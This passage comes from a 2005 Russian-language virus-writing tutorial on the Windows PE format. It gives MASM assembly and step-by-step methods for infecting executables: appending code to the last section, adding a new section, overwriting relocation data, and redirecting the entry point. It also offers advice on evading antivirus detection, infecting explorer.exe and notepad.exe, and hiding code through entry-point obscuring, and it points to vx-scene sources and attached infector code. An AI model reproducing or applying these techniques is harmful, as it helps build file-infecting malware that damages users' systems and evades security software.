;#################################################### ;Процедура GetFileAlignment ;Получение выровненного-вверх значения ;Вход: esi - указатель на строку с именем файла ;Выход: eax - значение FileAlignment ;!!!!!!!Процедура не сохраняет регистры!!!!!!!!!!!!!! ;#################################################### GetFileAlignment proc LOCAL hFile1:DWORD LOCAL hMapping1:DWORD ;#########################Create File Mapping instructions######################## invoke CreateFile,esi,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_WRITE,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL mov hFile1,eax invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL mov hMapping1,eax invoke MapViewOfFile,eax,FILE_MAP_ALL_ACCESS,0,0,0 ;#########################END Create File Mapping instructions#################### ;##################Проверка правильности PE-файла и ошибок при проекции########### .IF eax==0;ошибки при проецировании invoke CloseHandle,hFile1 invoke CloseHandle,hMapping1 mov eax,0 ret .ENDIF mov esi,eax call ValidPE .IF eax==0;EXE-файл не корректный push esi call UnmapViewOfFile invoke CloseHandle,hFile1 invoke CloseHandle,hMapping1 mov eax,0 ret .ENDIF ;##############END Проверка правильности PE-файла и ошибок при проекции########### ;#####################Получение адреса PE-заголовка############################### assume edi:ptr IMAGE_DOS_HEADER mov edi,esi add edi,[edi].e_lfanew ;#####################END Получение адреса PE-заголовка########################### ;#####################Получение адреса файлового заголовка######################## add edi,4 ;#####################END Получение адреса файлового заголовка#################### ;#####################Получение адреса опционального заголовка#################### add edi,sizeof IMAGE_FILE_HEADER assume edi:ptr IMAGE_OPTIONAL_HEADER invoke CloseHandle,hFile1 invoke CloseHandle,hMapping1 mov eax,[edi].FileAlignment ;#####################END Получение адреса опционального заголовка################ ret GetFileAlignment endp ;#################################################### ;Конец Процедуры GetFileAlignment ;####################################################Код инфектора
В начале работы программы она высчитывает значение размера нового файла. Потом это значение используется при проекции EXE-файла жертвы. После этого как обычно программа проходит по EXE-файла и вылавливает нужные указатели. После получения нужных данных проходим по таблице секций и выясняем, какая все-таки секция последняя. Важно, что мы смотрим не только на физическое смещение в файле, но и на виртуальное. А то может оказаться, что физически секция последняя, а виртуально нет. В этом случае если мы все-таки внедрим код, то он перепишем данные секции, которая виртуально идет после последней физически. Так что, это надо иметь ввиду. Код:
Код (Text):
;###################Находим последнюю секцию виртуально и физически############### mov edi,pFileHeader assume edi:ptr IMAGE_FILE_HEADER xor ecx,ecx mov cx,word ptr [edi].NumberOfSections mov edi,pSectionTable assume edi:ptr IMAGE_SECTION_HEADER mov eax,[edi].PointerToRawData mov ebx,[edi].VirtualAddress add edi,sizeof IMAGE_SECTION_HEADER dec ecx NextSection: .IF (eax<[edi].PointerToRawData)&&(ebx<[edi].VirtualAddress) mov eax,[edi].PointerToRawData mov ebx,[edi].VirtualAddress mov pLastSection,edi;указатель на запись о последней секции .ENDIF add edi,sizeof IMAGE_SECTION_HEADER loop NextSection ;###############END Находим последнюю секцию виртуально и физически###############Далее проверяем, что найденная секция имеет не нулевой размер. Если бы секция имела бы нулевой физический размер, то это секция с неинициализированными данными. В коде приложения содержатся ссылки на эту секцию. Если мы в начало запишем наш код, то в итоге по некоторым адресам будут записываться данные. Т.о. часть нашего кода перепишется. А это нам естественно не нужно. Вот пример проверки, что найденная секция ненулевая:
Код (Text):
;#########################Не нулевая ли последняя секция?######################### mov edi,pLastSection .IF [edi].SizeOfRawData==0;последняя секция нулевая jmp Exit .ENDIF ;#####################END Не нулевая ли последняя секция?#########################После этих действий записываем код и правим некоторые значения. Какие значения править было описано в алгоритме выше.
При внедрении заметьте, что мы добавляем данные в конец последней секции. Т.е. мы не используем место оставшееся в результате файлового выравнивания. Учитывая этот факт, новая точка входа будет равна RVA секции + SizeOfRawData до заражения. Также как и в прошлом примере в код добавляется переход на старую точку входа. Правка точки входа достигается следующим кодом:
Код (Text):
;############################Правка AddressOfEntryPoint########################### mov edi,pLastSection assume edi:ptr IMAGE_SECTION_HEADER mov eax,[edi].VirtualAddress add eax,[edi].SizeOfRawData mov edi,pOptionalHeader assume edi:ptr IMAGE_OPTIONAL_HEADER lea edi,[edi].AddressOfEntryPoint mov dword ptr [edi],eax ;########################END Правка AddressOfEntryPoint###########################Загрузчик проверяет выполнение равенства ImageSize=VirtualSize+VirtualAddress. Из-за этого мы должны изменить ImageSize:
Код (Text):
mov edi,pLastSection assume edi:ptr IMAGE_SECTION_HEADER mov eax,[edi].Misc.VirtualSize add eax,[edi].VirtualAddress mov edi,pOptionalHeader assume edi:ptr IMAGE_OPTIONAL_HEADER lea edi,[edi].SizeOfImage;Правка ImageSize mov dword ptr [edi],eaxВ файле pe_infector2.asm находиться код инфектора. В результате заражения размер файла увеличивается. Это может вызвать подозрения. Используя данный метод заражения можно внедрить код любого размера. Также можно заразить файл бесконечное количество раз и он будет работать. У меня был notepad.exe, который занимал 30 Мб. Он был просто заражен много раз. Полезная нагрузка (внедряемый код) занимала ~3Мб. Но notepad.exe запускался после повторения некоторых действий.
Способ 3. Добавление новой секции
Теперь давайте сами добавим новую секцию в PE-файл. Алгоритм добавления новой секции выглядит так:
1) Если есть Bound-импорты, то удалить их.
2) Найти конец таблицы секций.
3) Добавить запись о своей секции в таблицу секций.
4) Обновить соответствующие поля.
5) Записать код по нужному файловому смещению.
6) Правим точку входа.
7) Правим размер образа – ImageSize=VirtualSize+VirtualAddress
8) Правим NumberOfSections
Код инфектора
Размер нового файла вычисляется по такой же формуле что и в предыдущем способе. Первым делом в программе как раз вычисляется новый размер файла. После этого опять ищем Bound-импорты, которые могут находится сразу после оригинальной таблицы секций. Затираем запись о Bound-импортах в таблице директорий. После окончания оригинальной таблицы секций забиваем нулями 40 байт – это будет наше место для новой записи в таблице секций. Хорошо, место есть. Теперь надо создать запись о новой секции и внести туда правильные данные. Чтобы выяснить какие данные нужны, посмотрите на структуру IMAGE_SECTION_HEADER. Имя секции выбираем любое. Главное чтобы оно укладывалось в 8 байт. Я назвал свою секцию .new. Еще один способ проверки не заражен ли уже файл – это проверка названия последней секции. VirtualSize – это размер нашего вредного кода. Чтобы посчитать виртуальный адрес новой секции надо взять виртуальный адрес последней секции. Потом взять размер в файле этой секции. Сложить полученные данные и выровнять их по SectionAlignment. Для получения значения SectionAlignment используется процедура GetSectionAlignment. Код:
Код (Text):
;########################Получаем информацию для новой секции##################### mov edi,pLastSection assume edi:ptr IMAGE_SECTION_HEADER mov eax,[edi].VirtualAddress add eax,[edi].SizeOfRawData push eax push hFile call CloseHandle mov esi,ofn.lpstrFile call GetSectionAlignment pop esi mov edi,eax call GetAlignUp;eax - Виртуальный адрес новой секции push eax ;####################END Получаем информацию для новой секции#####################SizeOfRawData – берем значение виртуального размера и выравниванием на FileAlignment. Для получения значения FileAlignment используется процедура GetFileAlignment. PointerToRawData будет соответствовать старому размеру файла, т.е. данные для секции добавляются в хвост. Далее все оставляем, кроме характеристик. Как выставлять характеристики нам известно. После создания записи о новой секции внедряем код в конец файла. Потом правим AddressOfEntryPoint, ImageSize. И не забудьте подправить NumberOfSections, а то лоадер начнет ругаться что-то там про win32. Воткакяделаюэто:
Код (Text):
;############################Правка Number Of Section############################## mov edi,pFileHeader assume edi:ptr IMAGE_FILE_HEADER lea edi,[edi].NumberOfSections inc word ptr [edi] ;############################END Правка Number Of Section##########################В файле pe_infector3.asm находиться код инфектора. Я не проверяю ошибки, так что сделайте так чтобы файлы, которые Вы открываете, были валидны. В этом инфекторе не также проверки на зараженность, чтобы показать что файл можно заражать несколько раз. В результате заражения размер файла увеличивается. Можно заражать несколько раз, но не бесконечное число. Количество зависит от места конца таблицы секций до данных первой физической секции. Если вдруг антивирус обращет внимание, что точка входа стоит на последней секции, то создайте две секции. На первую из них будет указывать AddressOfEntryPoint. Тогда подозрение по данному признаку исчезнут.
Способ 4. Удаление базовых поправок
В некоторых PE-файлах присутствуют базовые поправки. Вы уже знаете, что это такое, если читали с начала главу. Так вот они в большинстве случаев для EXE-файла не обязательны. Линкеры по умолчанию не создают базовых поправок в PE-файле в целях оптимизации. Мы можем использовать место, отведенное для базовых поправок, для внедрения кода. Чаще всего для базовых поправок отведена отдельная секция, которая называется .reloc. Но эти данные могут и не иметь отдельной секции. Чтобы узнать, где действительно распологается базовые поправки необходимо обратиться к таблице директорий. При заражении мы должны вынудить заргрузчик не использовать базовые поправки для данного EXE-файла. Для этого требутся всего лишь обнулить запись о базовых поправках в таблице директорий. Алгоритм замены секции базовых поправок выглядит так:
- 1) В таблице директорий удалить запись о базовых поправках.
- 2) Записать код на это место.
- 3) Изменить AddressOfEntryPoint
Это все! Никаких ImageSize и т.д. не нужно править т.к. мы не изменяем размер файла.
Полезная нагрузка(payload)
Теперь вы знаете, как внедряться в исполняемый файл. Код, который будет внедрен должен быть базонезависимым. Что обеспечить это условие необходимо использовать дельта смещение и связанные с ним техники. О дельта смещении вы должны были узнать в 1 главе. Код, который здесь приводился базозависим. Это сделано для большего понимания приводимого материала. Но если вы читали главу 1, то для Вас не составит труда сделать код базонезависимым. Также можно использовать термин – код в шел-код стиле.
Продвинутые приемы при заражении PE-файлов
Один из продвинутых приемов при заражении файлов является модификация кода программы. Это довольно сложно. Неоходимо анализировать код программы и выискивать оттуда пустые места или инструкции, которые можно заменить. Если мы просто заразили файл и точку входа изменили на наш код, то это сразу вызвет подозрения, даже визульно. Хороший инфектор должен быть практически невидим, т.е. не отличаться от кода программы. Вы можете размазывать весь код вируса по всему PE-файлу. Куда его засовывать? Да очень просто. У каждой секции есть файловое выравнивание. Следовательно остается свободное место в конце каждой физической секции. Когда в одной секции место закончилось ставьте jmp на следующий кусок кода и так далее. При модификации кода необходимо сохранять старые байты команд, т.е. например не переписать случайно половину команды. В этом случае помогает дизассемблер в вирусе специально написанный Вами. О дизассемлере в вирусах и его использовании я буду говорить в соответствующей главе. Эта тема требут отдельного разговора и называется EPO (EPO:Entry-PointObscuring). При модификации кода, часто необходимо учитывать базовые поправки. Если вдруг Вы попытались заразить DLL, а ей базовые поправки нужны очень часто, то Вы должны позаботиться при модификации кода о прапатчивании модифицированных элементов. Так или иначе Microsoft приподнесла нам подарок в виде файлового выравнивания. Мы можем как угодно использовать это свободное место. Еще один способ для получения свободного места – сжатие оригинального кода. На его место можно записать наш код. При запуске файла код распаковывается, а вирус попадает на какой-то виртуальный адрес. Можно сделать заражение не использую код в шел-код стиле. Есть исполняемый файл, который является вирусом. Есть жертва. Мы берем исполняемый файл, добавляем все данные файла жертвы в файл вируса. Модифицируем с учетом новых данных вирусный PE-файл. Далее заменяем файл жертву на новый файл. При запуске зараженного файла некоторый код вируса, используя сохраненные данные, создает временный оригинальный файл и запускает его. В итоге запускается оригинальный файл. Сразу же исчезают многие проблему. Но у этого способа есть недостатки. Например, решение о том где хранить оригинальный файл. Если мы будем хранить его в той же папке это сразу можно заметить. Еще один способ заключается в следующем. Мы внедряем код запуска некоторого файла в жертву. При запуске жертвы запускается вредоносный файл, и жертва продолжает работу. Ну, это слишком просто. Тем более будет отображеться новый процесс. Это просто новый способ автозагрузки. Например, если заразить explorer.exe. Можно заразить любой файл из папки Windows. Например, notepad.exe. Это можно осуществить, т.к. WFP(Windows File Protection) побеждена. Я расскажу Вам об этом скоро. Вообще можно придумать куча вещей, неоходимо немного фантазии и знание PE-формата. Кое-что Вы можете почитать из той литературы, которую я Вам предложу ниже.
Источники для дальнейших исследований
- Основные методы заражения PE EXE [Sars/HI-TECH] www.wasm.ru
- Об упаковщиках в последний раз: Часть 1/2 [Volodya/HI-TECH,NEOx/UINC] www.wasm.ru
- Windows NT and Viruses [Alan Solomon] http://vx.netlux.org
- MSIL-PE-EXE infection strategies [Benny/29A] http://vx.netlux.org
- ФОРМАТ ИСПОЛНЯЕМЫХ ФАЙЛОВ PortableExecutables (PE) [Hard Wisdom] http://cracklab.ru/
- EPO: Entry-Point Obscuring [GriYo/29A] http://vx.netlux.org
- An In-Depth Look into the Win32 Portable Executable File Format, Part 1/2 [Matt Pietrek] http://www.microsoft.com
- Путь воина - внедрение в pe/coff файлы[Крис Касперски] http://www.insidepro.com/
- PE Infection school[JHB] http://vx.netlux.org
- The PE file format [LUEVELSMEYER] http://www.cs.bilkent.edu.tr/~hozgur/PE.TXT
- Microsoft Portable Executable and Common Object File Format Specification[Microsoft] http://www.microsoft.com
- PORTABLE EXECUTABLE FORMAT [Micheal J. O'Leary]
- The Evolution of 32-Bit Windows Viruses[Peter Szor, Eugene Kaspersky] http://vx.netlux.org
- Optimizing DLL Load Time Performance [Matt Pietrek] http://www.microsoft.com
- What Goes On Inside Windows 2000: Solving the Mysteries of the Loader [Russ Osterlund] http://www.microsoft.com
- Injected Evil (executable files infection)[Z0mbie/29a]
- Загрузчик PE-файлов[Максим М. Гумеров] http://www.rsdn.ru
- Programming Applications for Microsoft Windows[Jeffrey Richter]
- Исследование переносимого формата исполнимых файлов "сверху вниз"[Randy Kath] http://education.kulichki.net/comp/hack/27.htm.
- Infectable Objects 1/2/3/4[Robert Vibert] http://www.secutityfocus.com
- Ideas and theoryes on PE infection[b0z0/iKx] http://vx.netlux.org
Резюме
В этой главе мы рассмотрели формат исполняемых файлов win32. Рассмотрели каждое поле в отдельности и в общем весь формат. Были приведены примеры работы с PE-форматом на С и ассемблере. Мы узнали как заражать PE-файлы. Цель данной статьи - рассказать Вам как устроен PE-формат, расписать некоторые трудности при записи своего кода в посторонний файл. Также Вы должны приобрести гибкость при анализе любого исполняемого файла и создании своих способов внедрения. К статье прилагется исходные коды 3-х инфекторов и дампера PE-формата в 2-х версиях.
Файлы к статье.
© Bill / TPOC
От зеленого к красному: Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов.
Дата публикации 27 июн 2005